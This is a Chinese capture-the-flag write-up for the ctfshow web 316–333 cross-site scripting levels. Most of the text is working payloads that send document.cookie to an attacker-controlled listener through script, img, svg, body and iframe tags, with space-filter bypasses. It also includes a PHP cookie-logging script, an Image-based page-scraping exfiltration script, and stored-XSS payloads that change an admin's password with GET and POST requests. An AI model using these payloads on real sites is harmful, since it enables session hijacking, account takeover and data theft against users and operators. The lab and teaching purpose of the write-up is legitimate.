web 316(反射型)
测试<script>alert(1)</script>
,无过滤
在服务器上开启监听
python3 -m http.server 39543
外带数据:
<script>location.href="http://x.xx.xx.xx:39543/"+document.cookie</script>
<script>window.location.href="http://x.xx.xx.xx:39543/"+document.cookie</script>
<script>window.open('http://x.xx.xx.xx:39543'+document.cookie)</script>
img标签
<img src='' one rror=location.href="http://x.xx.xx.xx:39543/"+document.cookie>
svg标签
<svg onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>
body标签
<body onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>
iframe标签
<iframe onl oad="window.open('http://x.xx.xx.xx:39543/'+document.cookie)"></iframe>
web 317(反射型)
过滤了script标签,利用img标签
<img src='' one rror=location.href="http://x.xx.xx.xx:39543/"+document.cookie>
web 318(反射型)
使用svg标签
<svg onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>
web 319(反射型)
使用body标签
<body onl oad=location.href="http://x.xx.xx.xx:39543/"+document.cookie>
web 320-326(反射型)
过滤了空格,用/
或者水平制表符绕过
<body/onload=document.location="http://x.xx.xx.xx:39543/"+document.cookie>
web 327(存储型)
无过滤,注意收件人是admin
web 328(存储型)
构造用户名触发存储型XSS盗取管理员cookie,伪造管理员
注册:
监听:
再替换原来的cookie,访问用户管理界面即可
web 329(存储型)
此题之后,设置了在把cookie发送给你之前就失效了,所以需要用其他方式获取页面元素
<script>location.href="http://x.xx.xx.xx:39543/"+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML</script>
或者自己搭建:
test.js
var img = new Image();
img.src = "http://your-domain/cookie.php?q="+document.querySelector('#top > div.layui-container > div :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);
cookie.php
<?php
$cookie = $_GET['q'];
$myFile = "cookie.txt";
file_put_contents($myFile, $cookie, FILE_APPEND);
?>
web 330(存储型)
新增了修改密码的功能,按照上一题方法获得的数据是加密的
可以使用:
<script>location.href="http://x.xx.xx.xx:39543/"+document.getElementsByClassName('layui-container')[0].outerHTML</script>
但预期是修改管理员密码
注册:
<script>location.href="http://127.0.0.1/api/change.php?p=123456"</script>
这样管理员在查看用户管理界面时就会修改密码
web 331(存储型)
仍然是修改密码,但请求变为了POST请求
模板:
var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
* 获取数据后的处理程序
*/
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
var json = httpRequest.responseText;//获取到服务端返回的数据
console.log(json);
}
};
所以构造:
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=123456');</script>
web 332
逻辑漏洞
注册一个账号<script>alert(1)</script>
,再给其他收款人转负数的钱,自己钱增加
最后购买flag即可
web 333
逻辑漏洞
只能自己向自己转账且只能转低于目前钱数的金额,利用bp跑一下
参考:
https://blog.csdn.net/solitudi/article/details/111568030
http://www.yongsheng.site/2021/04/20/ctfshow%20web%E5%85%A5%E9%97%A8(xss)/